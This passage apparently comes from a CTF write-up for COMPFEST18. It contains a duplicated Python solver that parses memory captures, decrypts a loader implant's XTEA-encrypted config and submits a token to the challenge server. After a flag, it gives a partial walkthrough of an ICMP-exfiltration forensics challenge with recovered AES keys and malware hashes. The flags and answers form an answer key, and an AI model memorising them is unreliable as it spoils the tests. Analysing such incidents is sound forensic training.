        if &quot;w&quot; not in c[&quot;map&quot;][&quot;perms&quot;] or &quot;x&quot; not in c[&quot;map&quot;][&quot;perms&quot;]:
            reasons.append(f&quot;region perms {c[&#39;map&#39;][&#39;perms&#39;]} are not RWX&quot;)
        pids = {p[&quot;pid&quot;] for p in c[&quot;processes&quot;]}
        lp = c[&quot;map&quot;][&quot;pid&quot;]
        if lp not in pids: reasons.append(f&quot;loader pid {lp} absent from process list/scan&quot;)
        if not any(n[&quot;pid&quot;] == lp and n[&quot;state&quot;] == &quot;ESTABLISHED&quot; for n in c[&quot;net&quot;]):
            reasons.append(f&quot;no ESTABLISHED C2 socket owned by pid {lp}&quot;)
        if reasons: excl[tag] = reasons
        else:       inev.append(tag)
    for tag in sorted(caps):
        if tag in excl:
            print(f&quot;  EXCLUDE capture_{tag}: &quot; + &quot;; &quot;.join(excl[tag]))
    print(f&quot;  IN-EVENT: {inev}&quot;)
    assert len(inev) == 1, f&quot;expected exactly one in-event capture, got {inev}&quot;
    tag = inev[0]; c = caps[tag]

    print(&quot;\n== 5. loader config ==&quot;)
    pt = decrypt_cfg(c[&quot;region&quot;], c[&quot;mutex&quot;][1].encode(), c[&quot;key8&quot;], bytes.fromhex(c[&quot;map&quot;][&quot;build_id&quot;]))
    assert cfg_crc_ok(pt), &quot;config crc32 self-check failed&quot;
    (out / f&quot;config_{tag}.json&quot;).write_bytes(pt)
    cfg = json.loads(pt)
    print(&quot;  crc32 self-check OK&quot;)
    print(&quot;  &quot; + json.dumps(cfg, indent=2).replace(&quot;\n&quot;, &quot;\n  &quot;))
    assert cfg[&quot;c2_domain&quot;] in {n[&quot;remote&quot;].rsplit(&quot;:&quot;, 1)[0] for n in c[&quot;net&quot;]},\
        &quot;config C2 not corroborated by socket table&quot;

    print(&quot;\n== 6. timeline ==&quot;)
    tl = []
    for p in c[&quot;processes&quot;]:
        if p[&quot;source&quot;] == &quot;scan&quot; or p[&quot;pid&quot;] == 1 or p[&quot;comm&quot;] != &quot;[kworker/u8:7]&quot;:
            tl.append((p[&quot;started&quot;], f&quot;pid {p[&#39;pid&#39;]} ({p[&#39;comm&#39;]}) started, ppid {p[&#39;ppid&#39;]}&quot;))
    tl.append((c[&quot;capture_time&quot;], f&quot;capture_{tag} acquired (boot_id {c[&#39;boot_id&#39;]})&quot;))
    seen = set()
    for t, e in sorted(tl):
        if (t, e) in seen: continue
        seen.add((t, e)); print(f&quot;  {t}  {e}&quot;)

    print(&quot;\n== 7. closure token ==&quot;)
    jndi = normalize_jndi(next(h[&quot;raw&quot;].decode() for h in c[&quot;heap&quot;]
                               if h[&quot;printable&quot;] and &quot;ldap://&quot; in h[&quot;raw&quot;].decode()))
    build_id = c[&quot;map&quot;][&quot;build_id&quot;]
    archive  = c[&quot;frag&quot;][&quot;_sha256&quot;]
    cfg_sha  = hashlib.sha256(pt).hexdigest()
    sep      = cfg[&quot;closure_contract&quot;][&quot;digest_separator&quot;]
    fields   = {&quot;jndi_normalized&quot;: jndi, &quot;build_id&quot;: build_id,
                &quot;implant_id&quot;: cfg[&quot;implant_id&quot;], &quot;c2_domain&quot;: cfg[&quot;c2_domain&quot;],
                &quot;archive_sha256&quot;: archive}
    material = sep.join(fields[k] for k in cfg[&quot;closure_contract&quot;][&quot;digest_fields&quot;])
    digest   = hashlib.sha256(material.encode()).hexdigest()
    print(f&quot;  jndi_normalized = {jndi}&quot;)
    print(f&quot;  digest material = {material}&quot;)
    tok = cfg[&quot;closure_contract&quot;][&quot;token_schema&quot;]
    for k, v in {&quot;capture_id&quot;: tag, &quot;loader_pid&quot;: str(c[&quot;map&quot;][&quot;pid&quot;]),
                 &quot;implant_id&quot;: cfg[&quot;implant_id&quot;], &quot;build_id&quot;: build_id,
                 &quot;config_sha256&quot;: cfg_sha, &quot;archive_sha256&quot;: archive,
                 &quot;digest&quot;: digest}.items():
        tok = tok.replace(&quot;{&quot; + k + &quot;}&quot;, v)
    print(&quot;\n  TOKEN: &quot; + tok)
    (out / &quot;token_candidate.txt&quot;).write_text(tok + &quot;\n&quot;)

    if a.remote:
        import time
        from pwn import remote as pwnremote, context
        context.log_level = &quot;error&quot;
        r = pwnremote(a.host, a.port, timeout=25)
        buf, t0 = b&quot;&quot;, time.time()
        while time.time() - t0 &lt; 10:
            try:
                d = r.recv(timeout=2)
                if not d: break
                buf += d
                if b&quot;Answer:&quot; in buf: break
            except Exception: break
        sys.stdout.write(buf.decode(errors=&quot;replace&quot;))
        print(&quot;\n&gt;&gt;&gt; SENDING: &quot; + tok)
        r.sendline(tok.encode())
        buf2, t0 = b&quot;&quot;, time.time()
        while time.time() - t0 &lt; 15:
            try:
                d = r.recv(timeout=3)
                if not d: break
                buf2 += d
            except Exception: break
        sys.stdout.write(buf2.decode(errors=&quot;replace&quot;))
        r.close()

if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<h3 id="exploit-15">Exploit</h3>
<pre><code class="language-python">import argparse, hashlib, ipaddress, json, os, re, struct, sys, zlib
from datetime import datetime, timezone
from pathlib import Path

MAGIC  = b&quot;BGMR&quot;
HEADER = struct.Struct(&quot;&gt;4sBBI&quot;)
M32    = 0xFFFFFFFF

class Cur:
    def __init__(self, d): self.d, self.p = d, 0
    def take(self, n):
        assert self.p + n &lt;= len(self.d), &quot;truncated record&quot;
        r = self.d[self.p:self.p+n]; self.p += n; return r
    def up(self, f):
        s = struct.Struct(f); return s.unpack(self.take(s.size))
    def t8(self):  return self.take(self.up(&quot;&gt;B&quot;)[0]).decode()
    def t16(self): return self.take(self.up(&quot;&gt;H&quot;)[0]).decode()

def records(path):
    data, pos, out = Path(path).read_bytes(), 0, []
    while True:
        off = data.find(MAGIC, pos)
        if off &lt; 0: break
        magic, ver, kind, size = HEADER.unpack_from(data, off)
        if magic != MAGIC or ver != 3:
            pos = off + 1; continue
        s = off + HEADER.size; e = s + size
        assert size &lt;= 16*1024*1024 and e &lt;= len(data), &quot;bad record length&quot;
        out.append((kind, off, data[s:e])); pos = e
    return out

def iso(ts): return datetime.fromtimestamp(ts, timezone.utc).strftime(&quot;%Y-%m-%dT%H:%M:%SZ&quot;)

def parse_capture(path):
    by = {}
    for kind, off, body in records(path):
        by.setdefault(kind, []).append((off, body))
    one = lambda k: by[k][0][1]
    cap = {&quot;file&quot;: Path(path).name}

    t, nproc, boot, klen = struct.unpack_from(&quot;&gt;QH20sB&quot;, one(1))
    cap[&quot;capture_time&quot;] = iso(t); cap[&quot;processes_total&quot;] = nproc
    cap[&quot;boot_id&quot;] = boot.hex(); cap[&quot;kernel&quot;] = one(1)[31:31+klen].decode()

    c = Cur(one(2)); nl, ns = c.up(&quot;&gt;HH&quot;); procs = []
    for src, n in ((&quot;list&quot;, nl), (&quot;scan&quot;, ns)):
        for _ in range(n):
            pid, ppid, st = c.up(&quot;&gt;IIQ&quot;)
            procs.append({&quot;source&quot;: src, &quot;pid&quot;: pid, &quot;ppid&quot;: ppid,
                          &quot;started&quot;: iso(st), &quot;comm&quot;: c.t8()})
    cap[&quot;processes&quot;] = procs

    c = Cur(one(3)); env = []
    for _ in range(c.up(&quot;&gt;H&quot;)[0]):
        env.append({&quot;pid&quot;: c.up(&quot;&gt;I&quot;)[0], &quot;key&quot;: c.t8(), &quot;value&quot;: c.t16()})
    cap[&quot;env&quot;] = env

    c = Cur(one(4)); pid, n = c.up(&quot;&gt;IH&quot;); heap = []
    for _ in range(n):
        addr, size = c.up(&quot;&gt;QI&quot;); frag = c.take(size)
        heap.append({&quot;pid&quot;: pid, &quot;address&quot;: addr, &quot;raw&quot;: frag,
                     &quot;printable&quot;: all(32 &lt;= b &lt; 127 for b in frag)})
    cap[&quot;heap&quot;] = heap

    c = Cur(one(5)); pid, addr = c.up(&quot;&gt;IQ&quot;)
    cap[&quot;map&quot;] = {&quot;pid&quot;: pid, &quot;address&quot;: addr, &quot;perms&quot;: c.take(4).decode(),
                  &quot;name&quot;: c.t8(), &quot;build_id&quot;: c.take(10).hex(),
                  &quot;region_sha256&quot;: c.take(32).hex()}

    c = Cur(one(6)); states = {1: &quot;ESTABLISHED&quot;, 2: &quot;CLOSED&quot;, 3: &quot;LISTEN&quot;}; net = []
    for _ in range(c.up(&quot;&gt;H&quot;)[0]):
        pid = c.up(&quot;&gt;I&quot;)[0]; lip = str(ipaddress.ip_address(c.take(4)))
        lport = c.up(&quot;&gt;H&quot;)[0]; rem = c.t8(); rport, st = c.up(&quot;&gt;HB&quot;)
        net.append({&quot;pid&quot;: pid, &quot;local&quot;: f&quot;{lip}:{lport}&quot;,
                    &quot;remote&quot;: f&quot;{rem}:{rport}&quot;, &quot;state&quot;: states.get(st, st)})
    cap[&quot;net&quot;] = net

    c = Cur(one(7)); modes = {1: &quot;deleted&quot;, 2: &quot;read&quot;, 3: &quot;write&quot;}; files = []
    for _ in range(c.up(&quot;&gt;H&quot;)[0]):
        pid, fd, mode = c.up(&quot;&gt;IHB&quot;); p = c.t16(); inode, size = c.up(&quot;&gt;QI&quot;)
        files.append({&quot;pid&quot;: pid, &quot;fd&quot;: fd, &quot;mode&quot;: modes.get(mode, mode),
                      &quot;path&quot;: p, &quot;inode&quot;: inode, &quot;size&quot;: size,
                      &quot;evidence_ref&quot;: c.t8()})
    cap[&quot;files&quot;] = files

    c = Cur(one(8)); cves = []
    while c.p &lt; len(c.d): cves.append(c.t8())
    cap[&quot;cves&quot;] = cves

    cap[&quot;region&quot;] = one(9)

    c = Cur(one(10))
    cap[&quot;supply&quot;] = {&quot;package&quot;: c.t8(), &quot;advisory&quot;: c.t8(),
                     &quot;version&quot;: c.t8(), &quot;assessment&quot;: c.t16()}
    return cap

def rol32(v, r):
    r &amp;= 31
    return ((v &lt;&lt; r) | (v &gt;&gt; (32 - r))) &amp; M32

def kdf(mutex: bytes, key8: bytes, build_id10: bytes, domain=b&quot;eir-v3&quot;) -&gt; bytes:
    st = [0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344]
    rnd = 0
    for i, c in enumerate(mutex + key8 + build_id10 + domain):
        y = st[(i + 1) &amp; 3]
        t = ((((y &lt;&lt; 6) &amp; M32) + (y &gt;&gt; 2) + 0x9E3779B9 + c) &amp; M32) ^ st[i &amp; 3]
        t = rol32(t, 5 + (i % 13))
        st[i &amp; 3] = t
        st[(i + 2) &amp; 3] = (st[(i + 2) &amp; 3] + (t ^ rnd)) &amp; M32
        rnd = (rnd + 0x045D9F3B) &amp; M32
    return b&quot;&quot;.join(struct.pack(&quot;&gt;I&quot;, x) for x in st)

def xtea(block8: bytes, key16: bytes, rounds=32) -&gt; bytes:
    v0, v1 = struct.unpack(&quot;&gt;II&quot;, block8); k = struct.unpack(&quot;&gt;4I&quot;, key16)
    s, delta = 0, 0x9E3779B9
    for _ in range(rounds):
        v0 = (v0 + ((((v1 &lt;&lt; 4) ^ (v1 &gt;&gt; 5)) + v1) ^ (s + k[s &amp; 3]))) &amp; M32
        s = (s + delta) &amp; M32
        v1 = (v1 + ((((v0 &lt;&lt; 4) ^ (v0 &gt;&gt; 5)) + v0) ^ (s + k[(s &gt;&gt; 11) &amp; 3]))) &amp; M32
    return struct.pack(&quot;&gt;II&quot;, v0, v1)

def decrypt_cfg(region: bytes, mutex: bytes, key8: bytes, build_id10: bytes) -&gt; bytes:
    off = region.find(b&quot;CFG3&quot;)
    assert off &gt;= 0, &quot;no CFG3 blob&quot;
    n = struct.unpack_from(&quot;&gt;I&quot;, region, off + 4)[0]
    ct = region[off + 8: off + 8 + n]
    key = kdf(mutex, key8, build_id10)
    out = bytearray()
    for i in range((len(ct) + 7) // 8):
        ks = xtea(key8[0:4] + b&quot;\x00\x00\x00&quot; + bytes([i]), key)
        out += bytes(a ^ b for a, b in zip(ct[i*8:i*8+8], ks))
    return bytes(out[:len(ct)])

def cfg_crc_ok(pt: bytes) -&gt; bool:
    j = json.loads(pt); claimed = j.pop(&quot;crc32&quot;)
    body = json.dumps(j, separators=(&quot;,&quot;, &quot;:&quot;), sort_keys=True).encode()
    return &quot;%08x&quot; % (zlib.crc32(body) &amp; M32) == claimed

def carve_zip(page: bytes):
    s = page.find(b&quot;PK\x03\x04&quot;)
    if s &lt; 0: return None
    e = page.find(b&quot;PK\x05\x06&quot;, s)
    if e &lt; 0: return None
    clen = struct.unpack_from(&quot;&lt;H&quot;, page, e + 20)[0]
    return page[s: e + 22 + clen]

def normalize_jndi(s: str) -&gt; str:
    prev = None
    while prev != s:
        prev = s
        s = re.sub(r&quot;\$\{(?:lower|upper):(.)\}&quot;, lambda m: m.group(1), s)
    return s

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(&quot;--root&quot;, default=str(Path(__file__).resolve().parent /
                    &quot;work&quot; / &quot;BurhanGuild-Loader-Incident&quot;))
    ap.add_argument(&quot;--remote&quot;, action=&quot;store_true&quot;,
                    help=&quot;submit the token to &lt;target host, port&gt;&quot;)
    ap.add_argument(&quot;--host&quot;, help=&quot;&lt;target host, port&gt;&quot;)
    ap.add_argument(&quot;--port&quot;, type=int)
    ap.add_argument(&quot;--outdir&quot;, default=str(Path(__file__).resolve().parent / &quot;evidence&quot;))
    a = ap.parse_args()
    root = Path(a.root); out = Path(a.outdir); out.mkdir(parents=True, exist_ok=True)
    man = json.loads((root / &quot;artifacts&quot; / &quot;integrity_manifest.json&quot;).read_text())

    print(&quot;== 1. integrity ==&quot;)
    ok = True
    for sub, group in ((&quot;captures&quot;, &quot;captures&quot;), (&quot;deleted_pages&quot;, &quot;deleted_pages&quot;)):
        for name, want in man[group].items():
            got = hashlib.sha256((root / &quot;artifacts&quot; / sub / name).read_bytes()).hexdigest()
            ok &amp;= (got == want)
            print(f&quot;  {name:&lt;20} {&#39;OK &#39; if got == want else &#39;MISMATCH&#39;} {got}&quot;)
    print(f&quot;  case={man[&#39;case_id&#39;]} host={man[&#39;host&#39;]} window={man[&#39;capture_window&#39;]}&quot;)
    assert ok, &quot;integrity failure -- artifacts are not evidence&quot;

    print(&quot;\n== 2. deleted-storage page fragments ==&quot;)
    frags = {}
    for p in sorted((root / &quot;artifacts&quot; / &quot;deleted_pages&quot;).glob(&quot;page_*.bin&quot;)):
        z = carve_zip(p.read_bytes())
        if z is None:
            print(f&quot;  {p.name}: no archive (random slack)&quot;); continue
        (out / (p.stem + &quot;.zip&quot;)).write_bytes(z)
        import io, zipfile
        zf = zipfile.ZipFile(io.BytesIO(z))
        meta = json.loads(zf.read(&quot;case_fragment.json&quot;))
        meta[&quot;_zip&quot;] = z; meta[&quot;_page&quot;] = p.name
        meta[&quot;_sha256&quot;] = hashlib.sha256(z).hexdigest()
        meta[&quot;_log&quot;] = zf.read(&quot;transfer.log&quot;).decode()
        frags[meta[&quot;capture_id&quot;]] = meta
        print(f&quot;  {p.name}: cap={meta[&#39;capture_id&#39;]} host={meta[&#39;host&#39;]:&lt;13} &quot;
              f&quot;collection={meta[&#39;collection&#39;]:&lt;17} ref={meta[&#39;evidence_ref&#39;]} &quot;
              f&quot;size={len(z)} sha256={meta[&#39;_sha256&#39;]}&quot;)

    print(&quot;\n== 3. captures ==&quot;)
    caps = {}
    for p in sorted((root / &quot;artifacts&quot; / &quot;captures&quot;).glob(&quot;capture_*.raw&quot;)):
        c = parse_capture(p); tag = p.stem.split(&quot;_&quot;)[1]; caps[tag] = c
        (out / f&quot;region_{tag}.bin&quot;).write_bytes(c[&quot;region&quot;])
        assert hashlib.sha256(c[&quot;region&quot;]).hexdigest() == c[&quot;map&quot;][&quot;region_sha256&quot;]
        env = {e[&quot;key&quot;]: (e[&quot;pid&quot;], e[&quot;value&quot;]) for e in c[&quot;env&quot;]}
        key8 = next((h for h in c[&quot;heap&quot;] if not h[&quot;printable&quot;] and len(h[&quot;raw&quot;]) == 8), None)
        c[&quot;mutex&quot;] = env.get(&quot;BG_MUTEX&quot;)
        c[&quot;key8&quot;] = key8[&quot;raw&quot;] if key8 else None
        c[&quot;frag&quot;] = frags.get(tag)
        print(f&quot;  {p.name}  t={c[&#39;capture_time&#39;]}  boot={c[&#39;boot_id&#39;][:12]}..  &quot;
              f&quot;map={c[&#39;map&#39;][&#39;name&#39;]} ({c[&#39;map&#39;][&#39;perms&#39;]}) pid={c[&#39;map&#39;][&#39;pid&#39;]}&quot;)
        print(f&quot;      BG_MUTEX={c[&#39;mutex&#39;]}  key8=&quot;
              f&quot;{c[&#39;key8&#39;].hex() if c[&#39;key8&#39;] else None}  build_id={c[&#39;map&#39;][&#39;build_id&#39;]}&quot;)
        print(f&quot;      net={[n[&#39;remote&#39;] for n in c[&#39;net&#39;]]}  &quot;
              f&quot;files={[(f[&#39;mode&#39;], f[&#39;path&#39;], f[&#39;size&#39;], f[&#39;evidence_ref&#39;]) for f in c[&#39;files&#39;]]}&quot;)
        print(f&quot;      supply={c[&#39;supply&#39;][&#39;version&#39;]}  frag_host=&quot;
              f&quot;{c[&#39;frag&#39;][&#39;host&#39;] if c[&#39;frag&#39;] else None}&quot;)

    print(&quot;\n== 4. in-event decision ==&quot;)
    inev, excl = [], {}
    for tag, c in caps.items():
        reasons = []
        if c[&quot;frag&quot;] is None:
            reasons.append(&quot;no deleted-page case fragment corroborates this capture&quot;)
        else:
            if c[&quot;frag&quot;][&quot;host&quot;] != man[&quot;host&quot;]:
                reasons.append(f&quot;fragment host={c[&#39;frag&#39;][&#39;host&#39;]} != manifest host={man[&#39;host&#39;]}&quot;)
            if not any(f[&quot;evidence_ref&quot;] == c[&quot;frag&quot;][&quot;evidence_ref&quot;] for f in c[&quot;files&quot;]):
                reasons.append(&quot;capture file record does not reference the fragment evidence_ref&quot;)
        if c[&quot;mutex&quot;] is None:  reasons.append(&quot;no BG_MUTEX implant marker&quot;)
        if c[&quot;key8&quot;] is None:   reasons.append(&quot;no 8-byte loader key in heap&quot;)
        if &quot;libpam_bg&quot; not in c[&quot;map&quot;][&quot;name&quot;]:
            reasons.append(f&quot;mapped region is {c[&#39;map&#39;][&#39;name&#39;]}, not memfd:libpam_bg.so&quot;)
        if &quot;w&quot; not in c[&quot;map&quot;][&quot;perms&quot;] or &quot;x&quot; not in c[&quot;map&quot;][&quot;perms&quot;]:
            reasons.append(f&quot;region perms {c[&#39;map&#39;][&#39;perms&#39;]} are not RWX&quot;)
        pids = {p[&quot;pid&quot;] for p in c[&quot;processes&quot;]}
        lp = c[&quot;map&quot;][&quot;pid&quot;]
        if lp not in pids: reasons.append(f&quot;loader pid {lp} absent from process list/scan&quot;)
        if not any(n[&quot;pid&quot;] == lp and n[&quot;state&quot;] == &quot;ESTABLISHED&quot; for n in c[&quot;net&quot;]):
            reasons.append(f&quot;no ESTABLISHED C2 socket owned by pid {lp}&quot;)
        if reasons: excl[tag] = reasons
        else:       inev.append(tag)
    for tag in sorted(caps):
        if tag in excl:
            print(f&quot;  EXCLUDE capture_{tag}: &quot; + &quot;; &quot;.join(excl[tag]))
    print(f&quot;  IN-EVENT: {inev}&quot;)
    assert len(inev) == 1, f&quot;expected exactly one in-event capture, got {inev}&quot;
    tag = inev[0]; c = caps[tag]

    print(&quot;\n== 5. loader config ==&quot;)
    pt = decrypt_cfg(c[&quot;region&quot;], c[&quot;mutex&quot;][1].encode(), c[&quot;key8&quot;], bytes.fromhex(c[&quot;map&quot;][&quot;build_id&quot;]))
    assert cfg_crc_ok(pt), &quot;config crc32 self-check failed&quot;
    (out / f&quot;config_{tag}.json&quot;).write_bytes(pt)
    cfg = json.loads(pt)
    print(&quot;  crc32 self-check OK&quot;)
    print(&quot;  &quot; + json.dumps(cfg, indent=2).replace(&quot;\n&quot;, &quot;\n  &quot;))
    assert cfg[&quot;c2_domain&quot;] in {n[&quot;remote&quot;].rsplit(&quot;:&quot;, 1)[0] for n in c[&quot;net&quot;]}, \
        &quot;config C2 not corroborated by socket table&quot;

    print(&quot;\n== 6. timeline ==&quot;)
    tl = []
    for p in c[&quot;processes&quot;]:
        if p[&quot;source&quot;] == &quot;scan&quot; or p[&quot;pid&quot;] == 1 or p[&quot;comm&quot;] != &quot;[kworker/u8:7]&quot;:
            tl.append((p[&quot;started&quot;], f&quot;pid {p[&#39;pid&#39;]} ({p[&#39;comm&#39;]}) started, ppid {p[&#39;ppid&#39;]}&quot;))
    tl.append((c[&quot;capture_time&quot;], f&quot;capture_{tag} acquired (boot_id {c[&#39;boot_id&#39;]})&quot;))
    seen = set()
    for t, e in sorted(tl):
        if (t, e) in seen: continue
        seen.add((t, e)); print(f&quot;  {t}  {e}&quot;)

    print(&quot;\n== 7. closure token ==&quot;)
    jndi = normalize_jndi(next(h[&quot;raw&quot;].decode() for h in c[&quot;heap&quot;]
                               if h[&quot;printable&quot;] and &quot;ldap://&quot; in h[&quot;raw&quot;].decode()))
    build_id = c[&quot;map&quot;][&quot;build_id&quot;]
    archive  = c[&quot;frag&quot;][&quot;_sha256&quot;]
    cfg_sha  = hashlib.sha256(pt).hexdigest()
    sep      = cfg[&quot;closure_contract&quot;][&quot;digest_separator&quot;]
    fields   = {&quot;jndi_normalized&quot;: jndi, &quot;build_id&quot;: build_id,
                &quot;implant_id&quot;: cfg[&quot;implant_id&quot;], &quot;c2_domain&quot;: cfg[&quot;c2_domain&quot;],
                &quot;archive_sha256&quot;: archive}
    material = sep.join(fields[k] for k in cfg[&quot;closure_contract&quot;][&quot;digest_fields&quot;])
    digest   = hashlib.sha256(material.encode()).hexdigest()
    print(f&quot;  jndi_normalized = {jndi}&quot;)
    print(f&quot;  digest material = {material}&quot;)
    tok = cfg[&quot;closure_contract&quot;][&quot;token_schema&quot;]
    for k, v in {&quot;capture_id&quot;: tag, &quot;loader_pid&quot;: str(c[&quot;map&quot;][&quot;pid&quot;]),
                 &quot;implant_id&quot;: cfg[&quot;implant_id&quot;], &quot;build_id&quot;: build_id,
                 &quot;config_sha256&quot;: cfg_sha, &quot;archive_sha256&quot;: archive,
                 &quot;digest&quot;: digest}.items():
        tok = tok.replace(&quot;{&quot; + k + &quot;}&quot;, v)
    print(&quot;\n  TOKEN: &quot; + tok)
    (out / &quot;token_candidate.txt&quot;).write_text(tok + &quot;\n&quot;)

    if a.remote:
        import time
        from pwn import remote as pwnremote, context
        context.log_level = &quot;error&quot;
        r = pwnremote(a.host, a.port, timeout=25)
        buf, t0 = b&quot;&quot;, time.time()
        while time.time() - t0 &lt; 10:
            try:
                d = r.recv(timeout=2)
                if not d: break
                buf += d
                if b&quot;Answer:&quot; in buf: break
            except Exception: break
        sys.stdout.write(buf.decode(errors=&quot;replace&quot;))
        print(&quot;\n&gt;&gt;&gt; SENDING: &quot; + tok)
        r.sendline(tok.encode())
        buf2, t0 = b&quot;&quot;, time.time()
        while time.time() - t0 &lt; 15:
            try:
                d = r.recv(timeout=3)
                if not d: break
                buf2 += d
            except Exception: break
        sys.stdout.write(buf2.decode(errors=&quot;replace&quot;))
        r.close()

if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<h2 id="final-flag-15">Final Flag</h2>
<pre><code>COMPFEST18{8urh4n9u1ld_0r10n_148_m3m0ry_0n1y_104d3r_c453_c1053d_4f73r_5upp1y_ch41n_7r4c3_826df6b2a62673a1a6cbbb1c63244dd8ddc2933381f52723343274716fabde}</code></pre><h2 id="17-save-the-water">17. save the water</h2>
<h2 id="steps-16">Steps</h2>
<h3 id="q1--victim-ip-→-19216810010">Q1 — victim IP → <code>192.168.100.10</code></h3>
<p>The victim is <code>.10</code>, because it is the host that pulls <code>/video.enc</code> and <code>/private.676767</code> from <code>.20:80</code> and that runs <code>cctv_service.py</code> under <code>C:\Users\satria</code>. Direction analysis of the ICMP tunnel argues the opposite way, so this answer is worth testing rather than deducing, and the grader does accept <code>.10</code>.</p>
<h3 id="q2--complete-versioning-artifact-exposed-by-the-initiator-during-the-very-first-phase-→-51261008521">Q2 — &quot;complete versioning artifact exposed by the initiator during the very first phase&quot; → <code>5.1.26100.8521</code></h3>
<p>The answer is the complete version string carried by the <code>User-Agent</code> header of the first HTTP request:</p>
<pre><code>GET /video.enc HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.8521</code></pre><h3 id="q3--first-4-magic-bytes-used-to-authenticate-→-de-ad-be-ef">Q3 — first 4 magic bytes used to authenticate → <code>de-ad-be-ef</code></h3>
<p>The whole TCP/4444 conversation is one 17-byte push:</p>
<pre><code>b&#39;\xde\xad\xbe\xef_AUTH_SUCCESS&#39;</code></pre><h3 id="q4--32-bit-ssrc-of-the-heavy-multimedia-stream-→-2196231738">Q4 — 32-bit SSRC of the heavy multimedia stream → <code>2196231738</code></h3>
<p>The heavy multimedia stream is the RTP stream carried on UDP/1234, and its synchronisation source identifier is <code>SSRC = 0x82E7D63A</code>, which is <code>2196231738</code> in decimal.</p>
<h3 id="q5--secret-hidden-without-inserting-it-into-the-data-payload-→-d0nt_run_th3_m4lw4r3_y4hh_82117caa">Q5 — secret hidden &quot;without inserting it into the data payload&quot; → <code>d0nt_ruN_th3_m4lw4r3_y4hh_82117caa</code></h3>
<p>The 280 <code>BEACON</code> echo requests are byte-identical, so the channel is the <strong>gap between them</strong>, where a gap of roughly 1 s encodes <code>0</code> and a gap of roughly 2 s encodes <code>1</code>. The 280 intervals decode to 35 bytes, <code>d0nt_ruN_th3_m4lw4r3_y4hh_82117caa5</code>, and the question&#39;s <code>Format: 34 character string</code> drops the trailing <code>5</code>. That character is not noise: it is the first character of the suffix that the next question supplies.</p>
<h3 id="q6--md5-of-the-reconstructed-payload-→-c61e123e24a6025bc1aac86391385070">Q6 — MD5 of the reconstructed payload → <code>c61e123e24a6025bc1aac86391385070</code></h3>
<p>Every ICMP echo request with <code>id == 1337</code> carries the magic <code>EXFIL</code> followed by 1400 bytes of file data, and the packets are ordered by the ICMP sequence number. The 32,220 full packets plus one 1394-byte tail reassemble into 45,109,394 bytes, which is a Windows minidump (<code>MDMP</code>).</p>
<pre><code class="language-python">pay = icmp[8:]
assert pay[:5] == b&quot;EXFIL&quot;
dump[seq*1400 : seq*1400 + len(pay) - 5] = pay[5:]</code></pre>
<p>The reassembled file hashes to <code>md5(public.dmp) = c61e123e24a6025bc1aac86391385070</code>. Its <code>CommentStreamW</code> even records how the dump was taken: <code>*** procdump.exe -ma python.exe public.dmp / *** Manual dump</code>.</p>
<h3 id="q7--aes-key-left-in-memory-→-bd7bf788d62bdec9c219316da4487314_y0u_g0t_tr4pp3d">Q7 — AES key left in memory → <code>bd7bf788d62bdec9c219316da4487314_y0u_g0t_tr4pp3d!</code></h3>
<p>The dumped process is <code>python cctv_service.py</code>, running with the working directory <code>C:\Users\satria\Downloads\</code>. CPython 3.13 leaves one <code>PyBytes</code> object per source token on the heap, so the entire script can be reconstructed from the dump, and the only secrets it contains are the AES key and the IV:</p>
<pre><code class="language-python">AES_KEY = b&quot;bd7bf788d62bdec9c219316da4487314&quot;
AES_IV  = b&quot;y0u_g0t_tr4pp3d!&quot;
cipher  = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
encrypted_data = cipher.encrypt(pad(file_data, AES.block_size))</code></pre>
<p>Decrypting <code>video.enc</code> (8,145,648 B) with AES-256-CBC and stripping 11 bytes of PKCS#7 padding yields <code>video.zip</code>, which in turn contains <code>video.mp4</code>, a 6.6-second 1920×1080 HEVC clip.</p>
<p>The dump also carries two taunts, namely <code>[!] LAYANAN AKTIF - KREDENSIAL BERSARANG DI RAM</code> and <code>[!] Jangan tutup terminal ini. Lakukan dumping public.dmp menggunakan Procdump sekarang.</code> The first of them is bait, because the ZIP password is <em>not</em> in RAM: the archives were built on the attacker host, and the dump contains no <code>pyzipper</code>, <code>setpassword</code> or <code>AESZipFile</code> string at all.</p>
<h3 id="q8--multi-digit-authorization-code-revealed-on-the-evidence-→-16031115">Q8 — multi-digit authorization code &quot;revealed on the evidence&quot; → <code>16031115</code></h3>
<p>All 199 frames of <code>video.mp4</code> show a hand holding a sheet of paper with a handwritten number. Registering the frames by phase correlation and thresholding the ink gives eight glyphs. The fourth glyph is genuinely ambiguous, since it reads as <code>B</code>, <code>0</code> or <code>3</code>, but the grader accepts <code>16031115</code>, and the same string is the password of the inner <code>fastAI.zip</code>.</p>
<h3 id="q9--sha-256-of-the-malware-→-be69c8deb33d">Q9 — SHA-256 of the malware → <code>be69c8…deb33d</code></h3>
<p><code>private.676767</code> is a WinZip-AES (AE-1, AES-256, real method 14 = LZMA) archive whose password is Q5&#39;s 34 characters plus the suffix the questionnaire supplies:</p>
<pre><code>d0nt_ruN_th3_m4lw4r3_y4hh_82117caa + 512de1cc679e2acb37092e10a6111c22</code></pre><p>That yields <code>fastAI.zip</code>, which opens with <code>16031115</code> and contains <code>fastloader.exe</code> (74,408,861 B). The binary was hashed as a stream and <strong>never executed</strong>:</p>
<pre><code>sha256 = be69c8c00b73aadbb26ca44707ec1d489f891d2e848dd7e834b8f881bcdeb33d</code></pre><h3 id="q10--starting-point-offset-and-data-block-length-size-→-00009600_046ecd9d">Q10 — &quot;starting point (Offset) and data block length (Size)&quot; → <code>00009600_046ECD9D</code></h3>
<p>This question was the hard one, and the difficulty lay in <strong>formatting rather than analysis</strong>.</p>
<p><code>fastloader.exe</code> is an NSIS-3 installer stub with a large appended archive. Its PE image ends where the last section ends, that is <code>.rsrc</code> at raw <code>0x8800</code> plus <code>0xE00</code>, giving <strong><code>0x9600</code></strong>, and the file is <code>0x46F639D</code> bytes long, so the overlay length is <code>0x46F639D − 0x9600 = 0x46ECD9D</code>. The NSIS first header sitting exactly at <code>0x9600</code> confirms both numbers independently:</p>
<pre><code>0x9600: flags=0x4  siginfo=0xDEADBEEF  &quot;NullsoftInst&quot;
        length_of_header             = 0x9B36
